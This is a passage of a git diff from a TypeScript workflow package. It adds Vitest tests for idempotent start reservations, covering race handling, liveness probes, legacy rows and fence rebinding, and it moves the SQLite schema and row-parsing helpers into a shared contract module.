'claimReservation'); + const pending = beginIdempotentStart( + h.store, + workflowRequest('key', 'run'), + surface, + ).catch((error: unknown) => error); + try { + await waiting; + clock = laterClock; + const winner = await beginIdempotentStart( + other, + workflowRequest('key', 'discarded-run'), + EMPTY_SURFACE, + ); + expect(winner.kind).toBe('start'); + await other.releaseReservation(winner.reservation); + const released = await other.readForAdmission('key'); + const before = rows(h.sqlite); + expect(released).toMatchObject({ + state: 'reserved', + createdAt: 1_000, + updatedAt: 1_002, + binding: { kind: 'unbound' }, + }); + release(); + const outcome = await pending; + expect(rows(h.sqlite)).toEqual(before); + expect(claim).not.toHaveBeenCalled(); + expect(live).toHaveBeenCalledExactlyOnceWith(released); + expect(outcome).toBeInstanceOf(IdempotentStartPendingError); + + live.mockResolvedValue(false); + const retry = await beginIdempotentStart( + h.store, + workflowRequest('key', 'discarded-retry-run'), + surface, + ); + expect(retry).toEqual({ + kind: 'start', + reservation: { ...released, state: 'started', updatedAt: 1_003 }, + }); + expect(claim).toHaveBeenCalledExactlyOnceWith(released); + } finally { + release(); + await pending; + } + }); + + it('retains a reserved row while its previous wrapper remains live, then reclaims after cleanup', async () => { + const h = harness(); + await h.store.reserve(workflowRequest('key', 'run')); + const firstClaim = await claimObserved(h.store, 'key'); + await h.store.releaseReservation(firstClaim); + const before = rows(h.sqlite); + const retained = await h.store.readForAdmission('key'); + const claim = vi.spyOn(h.store, 'claimReservation'); + const live = vi.fn(async () => true); + const surface = { persisted: async () => undefined, live }; + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'other'), surface), + ).rejects.toMatchObject({ + reason: { + code: 'IDEMPOTENT_START_PENDING', + runId: 'run', + pendingSince: retained?.updatedAt, + }, + }); + expect(claim).not.toHaveBeenCalled(); + expect(rows(h.sqlite)).toEqual(before); + expect(live).toHaveBeenCalledWith(retained); + expect(live.mock.contexts).toEqual([surface]); + + live.mockResolvedValue(false); + const decision = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + surface, ); - const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase); - await fence.seed('migration-locked'); - await fence.transition({ - expected: 'migration-locked', - next: 'proof-only', - proofKey: 'proof-key-1', + expect(decision).toEqual({ + kind: 'start', + reservation: { ...retained, state: 'started', updatedAt: 1_003 }, + }); + expect(claim).toHaveBeenCalledExactlyOnceWith(retained); + expect(await h.store.readForAdmission('key')).toEqual(decision.reservation); + }); + + it('leaves a retained reserved row unchanged when its liveness probe throws', async () => { + const h = harness(); + await h.store.reserve(workflowRequest('key', 'run')); + await h.store.releaseReservation(await claimObserved(h.store, 'key')); + const before = rows(h.sqlite); + const claim = vi.spyOn(h.store, 'claimReservation'); + const failure = new Error('liveness unavailable'); + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'other'), { + persisted: async () => undefined, + live: async () => { + throw failure; + }, + }), + ).rejects.toBe(failure); + expect(claim).not.toHaveBeenCalled(); + expect(rows(h.sqlite)).toEqual(before); + }); + + it.each([ + 'claim', + 'release', + 'release-reclaim', + ] as const)('loses the exact reclaim CAS after another caller completes %s during the probe', async (race) => { + const h = harness(); + await h.store.reserve(workflowRequest('key', 'run')); + await h.store.releaseReservation(await claimObserved(h.store, 'key')); + const retained = await h.store.readForAdmission('key'); + const other = new StartIdempotencyStore(h.binding, { now: () => 1_000 }); + const claim = vi.spyOn(h.store, 'claimReservation'); + let current: StartReservationReading | undefined; + let afterWinner: Array> = []; + const live = vi.fn(async () => { + if (current !== undefined) return current.state === 'started'; + const winner = await claimObserved(other, 'key'); + if (race !== 'claim') { + await other.releaseReservation(winner); + if (race === 'release-reclaim') await claimObserved(other, 'key'); + } + current = await other.readForAdmission('key'); + afterWinner = rows(h.sqlite); + return false; }); - await store.reserve({ - ...workflowRequest('proof-key-1', 'proof-run'), - key: 'proof-key-1', + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'other'), { + persisted: async () => undefined, + live, + }), + ).rejects.toBeInstanceOf( + race === 'release' + ? IdempotentStartUnresolvableError + : IdempotentStartPendingError, + ); + expect(claim).toHaveBeenCalledExactlyOnceWith(retained); + expect(live).toHaveBeenCalledTimes(2); + expect(rows(h.sqlite)).toEqual(afterWinner); + expect(await h.store.readForAdmission('key')).toEqual(current); + expect(current?.updatedAt).toBe( + race === 'claim' ? 1_003 : race === 'release' ? 1_004 : 1_005, + ); + }); + + it('replays a persisted retained reservation without probing or claiming', async () => { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), + ); + const live = vi.fn(async () => { + throw new Error('liveness unavailable'); }); - await store.claim('proof-key-1', 'proof-run'); - expect((await fence.read()).proofRunId).toBeUndefined(); + const claim = vi.spyOn(h.store, 'claimReservation'); + const decision = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + { + persisted: async () => ({ + kind: 'result', + value: 'done', + execution: executionFor(reservation), + }), + live, + }, + ); + expect(decision).toMatchObject({ kind: 'replay', persisted: 'done' }); + expect(claim).not.toHaveBeenCalled(); + expect(live).not.toHaveBeenCalled(); + }); - // #when a retry carrying the same key finds the run persisted + it('claims a newly created key without consulting liveness or persistence', async () => { + const h = harness(); + const unavailable = vi.fn(async () => { + throw new Error('no existing run'); + }); + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'run'), { + persisted: unavailable, + live: unavailable, + }), + ).resolves.toMatchObject({ kind: 'start' }); + expect(unavailable).not.toHaveBeenCalled(); + }); + + it('returns the exact winning started row with modern unbound binding', async () => { + const h = harness(); const decision = await beginIdempotentStart( - store, - workflowRequest('proof-key-1', 'ignored'), - { persisted: async () => 'summary', live: async () => false }, - fence, + h.store, + workflowRequest('key', 'run'), + EMPTY_SURFACE, + ).catch((error) => error); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: 'started', + start_token: '', + updated_at: 1001, + }); + expect(decision.reservation).toEqual(await h.store.readForAdmission('key')); + expect(decision.reservation.state).toBe('started'); + }); + + it.each([ + 'reserved', + 'started', + 'terminal', + ] as const)('refuses a legacy %s reservation before consulting its producer', async (state) => { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), ); + h.sqlite + .prepare( + 'UPDATE flowsafe_start_idempotency SET state = ?, start_token = NULL', + ) + .run(state); + const before = rows(h.sqlite); + const persisted = vi.fn(async () => ({ + kind: 'result' as const, + value: 'done', + execution: executionFor(reservation), + })); + const outcome = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + { persisted, live: async () => true }, + ).catch((error) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(persisted).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf( + state === 'terminal' + ? IdempotentStartAlreadySettledError + : IdempotentStartUnresolvableError, + ); + }); - // #then the replay answered with the run's state AND put the binding back - expect(decision.kind).toBe('replay'); - await expect(fence.read()).resolves.toEqual({ - state: 'proof-only', - proofKey: 'proof-key-1', - proofRunId: 'proof-run', - mutationEpoch: 0, - requireMutationEpoch: false, - transitionRevision: 1, + it.each([ + 'bound', + 'legacy', + ] as const)('never attempts to reclaim an absent %s reserved reservation', async (binding) => { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), + ); + if (binding === 'bound') + await h.store.associateReservation( + reservation, + executionFor(reservation), + ); + else + h.sqlite.exec('UPDATE flowsafe_start_idempotency SET start_token = NULL'); + const before = rows(h.sqlite); + const claim = vi.spyOn(h.store, 'claimReservation'); + const outcome = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + EMPTY_SURFACE, + ).catch((error) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(claim).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(IdempotentStartUnresolvableError); + }); + + it.each([ + 'startToken', + 'tablePrefix', + 'workflowId', + ] as const)('compares bound %s before classifying a replacement initial snapshot', async (field) => { + const h = harness(); + const reserved = await h.store.reserve({ + key: 'key', + owner: OWNER, + targetKind: 'agent', + targetId: 'agent', + threadId: 'thread', + mintRunId: () => 'run', }); + const execution = executionFor(reserved.reservation); + await h.store.associateReservation(reserved.reservation, execution); + const before = rows(h.sqlite); + const live = vi.fn(async () => true); + const outcome = await beginIdempotentStart( + h.store, + { + key: 'key', + owner: OWNER, + targetKind: 'agent', + targetId: 'agent', + threadId: 'candidate', + mintRunId: () => 'other', + }, + { + persisted: async () => ({ + kind: 'initial', + execution: { + ...execution, + [field]: field === 'tablePrefix' ? 'other_' : 'replacement', + }, + }), + live, + }, + ).catch((error) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(live).not.toHaveBeenCalled(); + expect(outcome).toBeInstanceOf(IdempotentStartUnresolvableError); }); - it('changes nothing on a replay whose key is not the nominated proof key', async () => { - // #given a proof-only fence nominating a DIFFERENT key - const sqlite = openSqlite(); - const binding = sqliteUnitDatabase(sqlite); - const store = new StartIdempotencyStore( - binding as StartIdempotencyDatabase, + it.each([ + 'reserved', + 'started', + 'terminal', + ] as const)('never associates or replays a matching initial snapshot from %s', async (state) => { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), + ); + h.sqlite + .prepare('UPDATE flowsafe_start_idempotency SET state = ?') + .run(state); + const before = rows(h.sqlite); + const outcome = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + { + persisted: async () => ({ + kind: 'initial', + execution: executionFor(reservation), + }), + live: async () => true, + }, + ).catch((error) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(outcome).toBeInstanceOf( + state === 'terminal' + ? IdempotentStartAlreadySettledError + : IdempotentStartPendingError, ); - const fence = new ExecutionFenceStore(binding as ExecutionFenceDatabase); + }); + + it('associates the same observed value after its snapshot disappears and preserves generic undefined results', async () => { + for (const value of [{ status: 'success' }, undefined]) { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), + ); + h.sqlite.exec( + 'CREATE TABLE mastra_workflow_snapshot (run_id TEXT, snapshot TEXT)', + ); + h.sqlite + .prepare('INSERT INTO mastra_workflow_snapshot VALUES (?,?)') + .run('run', JSON.stringify(value ?? null)); + let observedValue = value; + const persisted = vi.fn(async () => { + const snapshot = h.sqlite + .prepare( + 'SELECT snapshot FROM mastra_workflow_snapshot WHERE run_id = ?', + ) + .get('run') as { snapshot: string } | undefined; + if (snapshot === undefined) return undefined; + observedValue = + value === undefined ? undefined : JSON.parse(snapshot.snapshot); + const result = { + kind: 'result' as const, + value: observedValue, + execution: executionFor(reservation), + }; + h.sqlite.exec('DELETE FROM mastra_workflow_snapshot'); + return result; + }); + const associate = vi.spyOn(h.store, 'associateReservation'); + const result = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + { persisted, live: async () => false }, + ); + expect(rows(h.sqlite)[0]).toMatchObject({ + start_token: 'generation', + state: 'reserved', + }); + expect( + h.sqlite.prepare('SELECT * FROM mastra_workflow_snapshot').all(), + ).toEqual([]); + expect(persisted).toHaveBeenCalledTimes(1); + expect(associate).toHaveBeenCalledTimes(1); + expect(result.kind).toBe('replay'); + if (result.kind === 'replay') + expect(result.persisted).toBe(observedValue); + } + }); + + it('captures request, receiver, original proof round and caller epoch before any waits', async () => { + const h = harness(); + const fence = new ExecutionFenceStore(h.binding); await fence.seed('migration-locked'); + for (let revision = 0; revision < 8; revision++) + await fence.transition({ + expected: 'migration-locked', + next: 'migration-locked', + expectedMutationEpoch: revision, + expectedRevision: revision, + advanceMutationEpoch: revision < 7, + }); await fence.transition({ expected: 'migration-locked', next: 'proof-only', - proofKey: 'proof-key-1', + proofKey: 'key', + expectedMutationEpoch: 7, + expectedRevision: 8, }); - await store.reserve(workflowRequest('other-key', 'other-run')); - await store.claim('other-key', 'other-run'); - - // #when - await beginIdempotentStart( - store, - workflowRequest('other-key', 'ignored'), - { persisted: async () => 'summary', live: async () => false }, + const request: StartReservationRequest = workflowRequest('key', 'run'); + await h.store.reserve(request); + let mintReceiver: unknown; + request.mintRunId = function () { + mintReceiver = this; + return 'other'; + }; + const persisted = vi.fn(async (row: StartReservationReading) => { + await fence.transition({ + expected: 'proof-only', + next: 'migration-locked', + expectedMutationEpoch: 7, + expectedRevision: 9, + }); + await fence.transition({ + expected: 'migration-locked', + next: 'proof-only', + proofKey: 'key', + expectedMutationEpoch: 7, + expectedRevision: 10, + }); + return { + kind: 'result' as const, + value: 'done', + execution: executionFor(row), + }; + }); + const surface = { + persisted, + live: async () => false, + }; + const nominated = vi.spyOn(fence, 'rebindProofRun').mockResolvedValue(true); + const read = fence.read.bind(fence); + vi.spyOn(fence, 'read').mockImplementationOnce(async () => { + const frame = await read(); + request.key = 'changed'; + request.owner = OTHER_OWNER; + request.targetId = 'changed'; + request.mintRunId = () => { + throw new Error('mutated mint'); + }; + surface.persisted = vi.fn(async () => { + throw new Error('mutated callback'); + }); + return frame; + }); + const decision = await beginIdempotentStart( + h.store, + request, + surface, fence, + 7, ); - - // #then the proof slot is untouched: every guard lives in recordProofRun's - // own CAS, so an unrelated key is zero rows and no harm. - await expect(fence.read()).resolves.toEqual({ + expect(rows(h.sqlite)).toHaveLength(1); + expect(await read()).toMatchObject({ state: 'proof-only', - proofKey: 'proof-key-1', - mutationEpoch: 0, - requireMutationEpoch: false, - transitionRevision: 1, + proofKey: 'key', + mutationEpoch: 7, + transitionRevision: 11, }); + expect(decision).toMatchObject({ kind: 'replay', persisted: 'done' }); + expect(mintReceiver).toBe(request); + expect(persisted.mock.contexts).toEqual([surface]); + expect(nominated).toHaveBeenCalledWith( + expect.objectContaining({ + proof: { key: 'key', mutationEpoch: 7, transitionRevision: 9 }, + mutationEpoch: 7, + reservationStore: h.store, + }), + ); }); - it('does not fail a replay when the proof re-bind cannot be written', async () => { - // #given a fence whose write-back throws — a storage incident during a - // replay of a run that already happened - const { store } = harness(); - await store.reserve(workflowRequest('key-1', 'run-1')); - await store.claim('key-1', 'run-1'); - const failing = { - recordProofRun: async () => { - throw new Error('D1_ERROR: network'); - }, - } as unknown as ExecutionFenceStore; + it.each([ + 'missing-value', + 'inherited-value', + 'initial-value', + 'bad-prefix', + 'bad-owner', + 'bad-discriminator', + ] as const)('refuses malformed producer data %s without mutating the reservation', async (mode) => { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), + ); + const execution = executionFor(reservation); + let value: unknown = { kind: 'result', value: 'done', execution }; + if (mode === 'missing-value') value = { kind: 'result', execution }; + if (mode === 'inherited-value') + value = Object.assign(Object.create({ value: 'done' }), { + kind: 'result', + execution, + }); + if (mode === 'initial-value') + value = { kind: 'initial', value: 'done', execution }; + if (mode === 'bad-prefix') + value = { + kind: 'result', + value: 'done', + execution: { ...execution, tablePrefix: 'ACME_' }, + }; + if (mode === 'bad-owner') + value = { + kind: 'result', + value: 'done', + execution: { ...execution, owner: OTHER_OWNER }, + }; + if (mode === 'bad-discriminator') + value = { kind: 'unknown', value: 'done', execution }; + const before = rows(h.sqlite); + const outcome = await beginIdempotentStart( + h.store, + workflowRequest('key', 'other'), + { persisted: async () => value as never, live: async () => true }, + ).catch((error) => error); + expect(rows(h.sqlite)).toEqual(before); + expect(outcome).toBeInstanceOf(StartReservationUnreadableError); + }); - // #when / #then the caller still gets the run's persisted state: refusing - // the read would answer a successful retry with an error while changing - // nothing about the run. - const decision = await beginIdempotentStart( + it('preserves unrelated callback errors', async () => { + const h = harness(); + await h.store.reserve(workflowRequest('key', 'run')); + const failure = new Error('callback transport'); + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'other'), { + persisted: async () => { + throw failure; + }, + live: async () => false, + }), + ).rejects.toBe(failure); + }); + + it.each([ + ['created', 'own'], + ['created', 'other'], + ['existing', 'own'], + ['existing', 'other'], + ] as const)('cannot manufacture a %s-branch winner after the %s claim response is lost', async (branch, winner) => { + const h = harness(); + if (branch === 'existing') + await h.store.reserve(workflowRequest('key', 'run')); + const failure = new Error('claim response lost'); + let claimAttempts = 0; + let ownClaimWrites = 0; + let otherClaim: StartReservationReading | undefined; + const store = new StartIdempotencyStore( + interceptReservations(h.binding, async (sql, execute) => { + if ( + sql.startsWith('UPDATE flowsafe_start_idempotency') && + sql.includes("SET state = 'started'") + ) { + claimAttempts++; + if (winner === 'own') { + await execute(); + ownClaimWrites++; + } else { + const observed = await h.store.readForAdmission('key'); + if (!observed) throw new Error('contended reservation missing'); + otherClaim = await h.store.claimReservation(observed); + if (!otherClaim) throw new Error('other caller did not win'); + } + throw failure; + } + return execute(); + }), + { now: () => 1_000 }, + ); + const outcome = await beginIdempotentStart( store, - workflowRequest('key-1', 'run-2'), - { persisted: async () => 'summary', live: async () => false }, - failing, + workflowRequest('key', branch === 'created' ? 'run' : 'other'), + EMPTY_SURFACE, + ).catch((error) => error); + expect(rows(h.sqlite)[0]).toMatchObject({ + state: 'started', + start_token: '', + run_id: 'run', + updated_at: 1_001, + }); + expect(claimAttempts).toBe(1); + expect(ownClaimWrites).toBe(winner === 'own' ? 1 : 0); + if (winner === 'other') + expect(await h.store.readForAdmission('key')).toEqual(otherClaim); + expect(outcome).toBeInstanceOf(StartReservationUnreadableError); + expect(outcome.cause).toBe(failure); + }); + + it('replays a matching bound terminal value and keeps an unbound terminal key spent', async () => { + const h = harness(); + const { reservation } = await h.store.reserve( + workflowRequest('key', 'run'), ); - expect(decision.kind).toBe('replay'); + const execution = executionFor(reservation); + await h.store.associateReservation(reservation, execution); + await h.store.settleExecution(execution); + const before = rows(h.sqlite); + const surface = { + persisted: async () => ({ + kind: 'result' as const, + value: 'done', + execution, + }), + live: async () => false, + }; + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'other'), surface), + ).resolves.toMatchObject({ kind: 'replay', persisted: 'done' }); + expect(rows(h.sqlite)).toEqual(before); + h.sqlite.exec( + "UPDATE flowsafe_start_idempotency SET start_token = '', start_table_prefix = NULL, start_workflow_id = NULL", + ); + await expect( + beginIdempotentStart(h.store, workflowRequest('key', 'other'), surface), + ).rejects.toBeInstanceOf(IdempotentStartAlreadySettledError); }); }); diff --git a/packages/flowsafe/src/do-runner/start-idempotency.ts b/packages/flowsafe/src/do-runner/start-idempotency.ts index 3dff2e5b..2cce39c0 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.ts @@ -72,7 +72,7 @@ // only ever approximating. // // THE CLAIM IS THE SERIALIZER. `reserve()` decides which runId a key means; -// `claim()` decides who gets to START it. The claim is one conditional UPDATE, +// `claimReservation()` decides who gets to START it. The claim is one conditional UPDATE, // so exactly one caller changes a row and every other caller reads the outcome // instead of racing it. That matters most where Durable Object serialization // cannot help: agent runs live in thread objects keyed by threadId, so two @@ -85,7 +85,6 @@ // authority, and the whole rule is that there is exactly one. import { - EXECUTION_PRINCIPAL_KINDS, isExecutionPrincipalId, isExecutionPrincipalKind, } from '../approval-api/principal-identity.js'; @@ -93,29 +92,46 @@ import { missingTableReadsEmpty } from './cause-chain.js'; import { DoStatusError } from './do-status-error.js'; import { InvalidExecutionIdentityError, - normalizeRunExecutionIdentity, + normalizeMutationEpoch, normalizeStartExecutionIdentity, - normalizeStartIdentity, + type ProofEntryExpectation, RunAdmissionConflictError, type StartExecutionIdentity, } from './execution-admission.js'; import type { ExecutionFenceWiring } from './execution-fence.js'; -import { isExecutionFenceRefusal } from './execution-fence.js'; import { isPathSafeId } from './path-safe-id.js'; import { + admissionReservationFromRow, captureReservation, - START_RESERVATION_STATES, + decodeStartReservationAdmissionResult, + isStartTargetKind, + ReservationSchemaError, + reservationFromRow, + reservationResultRows, + reservationSchemaStage, + START_IDEMPOTENCY_ADDITIONS, + START_IDEMPOTENCY_COLUMNS, + START_IDEMPOTENCY_DDL, + START_IDEMPOTENCY_RUN_INDEX_DDL, + START_IDEMPOTENCY_STATE_INDEX_DDL, + START_IDEMPOTENCY_TABLE, START_TARGET_KINDS, type StartReservation, - type StartReservationBinding, type StartReservationOwner, type StartReservationReading, + type StartReservationSchemaStage, type StartReservationState, type StartTargetKind, sameReservationIdentity, + validateStartReservationAdmissionSchema, } from './start-reservation-contract.js'; export { + decodeStartReservationAdmissionResult, + START_IDEMPOTENCY_DDL, + START_IDEMPOTENCY_RUN_INDEX_DDL, + START_IDEMPOTENCY_STATE_INDEX_DDL, + START_IDEMPOTENCY_TABLE, START_RESERVATION_STATES, START_TARGET_KINDS, type StartReservation, @@ -124,6 +140,7 @@ export { type StartReservationReading, type StartReservationState, type StartTargetKind, + validateStartReservationAdmissionSchema, } from './start-reservation-contract.js'; /** @@ -134,7 +151,6 @@ export { * table simply means no key has ever been used on this deployment, which is * indistinguishable from an empty one. */ -export const START_IDEMPOTENCY_TABLE = 'flowsafe_start_idempotency'; export interface StartReservationRequest { /** @@ -166,6 +182,53 @@ export interface StartReservationRequest { threadId?: string; } +function captureStartRequest( + request: StartReservationRequest, +): StartReservationRequest & { key: string } { + const key = assertKey(request.key); + const owner = assertOwner(request.owner); + const { targetKind, targetId, threadId, mintRunId } = request; + if (!isStartTargetKind(targetKind)) { + throw new InvalidStartIdempotencyRequestError( + `target kind must be one of ${START_TARGET_KINDS.join(', ')}`, + ); + } + if (!isPathSafeId(targetId)) { + throw new InvalidStartIdempotencyRequestError( + 'target id must be a URL-path-safe identifier', + ); + } + // The thread is the agent run's ADDRESS, so requiring it for agents and + // rejecting it for workflows is not tidiness: an agent reservation without + // one is a run a retry can never reach, and a workflow reservation WITH one + // is a second, silently divergent copy of an address that is already + // derivable from (workflowId, runId). + if (targetKind === 'agent') { + if (!isPathSafeId(threadId)) { + throw new InvalidStartIdempotencyRequestError( + 'an agent start reservation requires a URL-path-safe threadId', + ); + } + } else if (threadId !== undefined) { + throw new InvalidStartIdempotencyRequestError( + 'threadId applies only to agent start reservations', + ); + } + if (typeof mintRunId !== 'function') { + throw new InvalidStartIdempotencyRequestError( + 'mintRunId must be a function', + ); + } + return Object.freeze({ + key, + owner, + targetKind, + targetId, + threadId, + mintRunId: () => Reflect.apply(mintRunId, request, []), + }); +} + export interface StartReservationOutcome { /** The authoritative reservation — this caller's, or the winner's. */ reservation: StartReservationReading; @@ -445,337 +508,6 @@ export function startIdempotencyFor( return store; } -const STATE_CHECK = START_RESERVATION_STATES.map((state) => `'${state}'`).join( - ', ', -); -const TARGET_CHECK = START_TARGET_KINDS.map((kind) => `'${kind}'`).join(', '); -/** - * Built from the principal vocabulary rather than hand-written, so a kind added - * to `EXECUTION_PRINCIPAL_KINDS` cannot leave this constraint behind. The - * failure a stale literal would cause is not a compile error and not a rejected - * write on an existing deployment: `CREATE TABLE IF NOT EXISTS` is a no-op - * against a table that already exists, so the drift would show up only as an - * INSERT refused on whichever database happened to be created after the new - * kind shipped. - */ -const OWNER_KIND_CHECK = EXECUTION_PRINCIPAL_KINDS.map( - (kind) => `'${kind}'`, -).join(', '); - -/** - * The reservation schema. - * - * The CHECK constraints are load-bearing, not decoration: every compare-and-set - * below is stated as `WHERE ... AND state = ''`, which is only a TOTAL - * decision while the column cannot hold a fourth value. A row hand-edited into - * an unknown state would otherwise be a reservation no CAS can advance and no - * purge can reap — a permanently wedged key. - */ -const START_IDEMPOTENCY_BASE_COLUMNS = ` - key TEXT PRIMARY KEY, - owner_kind TEXT NOT NULL CHECK (owner_kind IN (${OWNER_KIND_CHECK})), - owner_id TEXT NOT NULL, - target_kind TEXT NOT NULL CHECK (target_kind IN (${TARGET_CHECK})), - target_id TEXT NOT NULL, - run_id TEXT NOT NULL, - thread_id TEXT, - state TEXT NOT NULL CHECK (state IN (${STATE_CHECK})), - created_at INTEGER NOT NULL, - updated_at INTEGER NOT NULL`; -const START_IDEMPOTENCY_ADDITIONS = [ - 'start_token TEXT', - 'start_table_prefix TEXT', - 'start_workflow_id TEXT', -] as const; -const START_IDEMPOTENCY_COLUMNS = [ - ['key', 'TEXT', 0, 1], - ['owner_kind', 'TEXT', 1, 0], - ['owner_id', 'TEXT', 1, 0], - ['target_kind', 'TEXT', 1, 0], - ['target_id', 'TEXT', 1, 0], - ['run_id', 'TEXT', 1, 0], - ['thread_id', 'TEXT', 0, 0], - ['state', 'TEXT', 1, 0], - ['created_at', 'INTEGER', 1, 0], - ['updated_at', 'INTEGER', 1, 0], - ['start_token', 'TEXT', 0, 0], - ['start_table_prefix', 'TEXT', 0, 0], - ['start_workflow_id', 'TEXT', 0, 0], -] as const; -type StartReservationSchemaStage = 0 | 1 | 2 | 3; - -export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOTENCY_TABLE} (${START_IDEMPOTENCY_BASE_COLUMNS}, - ${START_IDEMPOTENCY_ADDITIONS.join(',\n ')} - )`; - -/** - * `run_id` is how the RUNTIME finds a reservation (terminal reconcile knows the - * run, never the key) and how the purge pairs a reservation with the snapshot - * it outlived. Without the index both degrade to a table scan on every terminal - * run. - */ -export const START_IDEMPOTENCY_RUN_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_run - ON ${START_IDEMPOTENCY_TABLE} (run_id)`; - -/** The purge's own access path: terminal rows past the key-validity horizon. */ -export const START_IDEMPOTENCY_STATE_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_state - ON ${START_IDEMPOTENCY_TABLE} (state, updated_at)`; - -type StartReservationRow = Readonly>; - -class ReservationSchemaError extends Error { - constructor(reason: string) { - super( - `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (${reason})`, - ); - this.name = 'ReservationSchemaError'; - } -} - -function reservationResultRows(result: unknown): StartReservationRow[] { - if ( - result === null || - typeof result !== 'object' || - ('success' in result && result.success !== true) || - !('results' in result) - ) { - throw new Error('reservation statement returned an invalid result'); - } - const rows: unknown = result.results; - if (!Array.isArray(rows)) - throw new Error('reservation statement returned an invalid result'); - const length = rows.length; - if (!Number.isSafeInteger(length) || length < 0) - throw new Error('reservation statement returned an invalid result'); - return Array.from({ length }, (_, index) => { - if (!Object.hasOwn(rows, index)) - throw new Error('reservation statement returned an invalid row'); - const row = rows[index]; - if (row === null || typeof row !== 'object' || Array.isArray(row)) { - throw new Error('reservation statement returned an invalid row'); - } - return row; - }); -} - -function reservationBinding( - row: StartReservationRow, - schemaStage: StartReservationSchemaStage, -): StartReservationBinding { - let stage = 0; - let missing = false; - for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10)) { - if (Object.hasOwn(row, name)) { - if (missing) - throw new ReservationSchemaError('binding prefix has a hole'); - stage += 1; - } else missing = true; - } - if (stage > schemaStage) - throw new ReservationSchemaError('schema observation precedes row binding'); - if (stage < 3) { - for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10, 10 + stage)) { - if (row[name] !== null) - throw new ReservationSchemaError( - 'partial binding is not legacy defaults', - ); - } - return { kind: 'legacy' }; - } - const { - start_token: token, - start_table_prefix: prefix, - start_workflow_id: workflowId, - } = row; - if (prefix === null && workflowId === null) { - if (token === null) return { kind: 'legacy' }; - if (token === '') return { kind: 'unbound' }; - } - const execution = normalizeRunExecutionIdentity({ - tablePrefix: prefix, - workflowId, - runId: row.run_id, - startToken: token, - }); - if (execution.tablePrefix !== prefix) - throw new ReservationSchemaError('binding prefix is not canonical'); - normalizeStartIdentity({ - owner: { kind: row.owner_kind, id: row.owner_id }, - target: { - kind: row.target_kind, - id: row.target_id, - ...(row.thread_id === null ? {} : { threadId: row.thread_id }), - }, - }); - return { kind: 'bound', execution }; -} - -function isStartReservationState( - value: unknown, -): value is StartReservationState { - return ( - typeof value === 'string' && - (START_RESERVATION_STATES as readonly string[]).includes(value) - ); -} - -function isStartTargetKind(value: unknown): value is StartTargetKind { - return ( - typeof value === 'string' && - (START_TARGET_KINDS as readonly string[]).includes(value) - ); -} - -function isEpochMs(value: unknown): value is number { - return typeof value === 'number' && Number.isFinite(value); -} - -/** - * Project a stored row, or refuse it. - * - * A malformed row throws rather than reading as absent, and that direction is - * deliberate: "there is no reservation" is the answer that STARTS A RUN, so it - * must never be reachable from a row this build cannot parse. The CHECK - * constraints make this unreachable on a database this package created; it - * exists for the one that was hand-edited. - * - * The TIMESTAMPS are in that strict set too, rather than coerced to 0 as an - * unparseable number once was. Neither column is decoration: `updated_at` is - * the horizon the purge measures from, so a corrupt one on a terminal row reads - * as epoch 0 and makes the reservation immediately reapable — which deletes a - * spent key early and turns the next retry of it into a fresh start. It is also - * `pendingSince` on a live claim, where 0 tells an operator a run has been - * starting since 1970. Refusing the row keeps both faults visible as the 503 - * they are. - */ -function reservationFromRow( - row: StartReservationRow, - schemaStage: StartReservationSchemaStage, -): StartReservationReading { - for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(0, 10)) { - if (!Object.hasOwn(row, name)) - throw new ReservationSchemaError(`row is missing ${name}`); - } - const { - key, - owner_kind: ownerKind, - owner_id: ownerId, - target_kind: targetKind, - target_id: targetId, - run_id: runId, - thread_id: threadId, - state, - created_at: createdAt, - updated_at: updatedAt, - } = row; - if ( - typeof key !== 'string' || - !isExecutionPrincipalKind(ownerKind) || - !isExecutionPrincipalId(ownerId) || - !isStartTargetKind(targetKind) || - typeof targetId !== 'string' || - !isPathSafeId(runId) || - !isStartReservationState(state) || - !isEpochMs(createdAt) || - !isEpochMs(updatedAt) - ) { - throw new Error('start reservation row is malformed'); - } - return { - key, - owner: { kind: ownerKind, id: ownerId }, - targetKind, - targetId, - runId, - ...(isPathSafeId(threadId) ? { threadId } : {}), - state, - createdAt, - updatedAt, - binding: reservationBinding(row, schemaStage), - }; -} - -function admissionReservationFromRow( - row: StartReservationRow, - stage: StartReservationSchemaStage, -): StartReservationReading { - if (stage !== 3) - throw new ReservationSchemaError('admission requires current schema'); - const captured: Record = {}; - for (const [name] of START_IDEMPOTENCY_COLUMNS) { - if (!Object.hasOwn(row, name)) - throw new 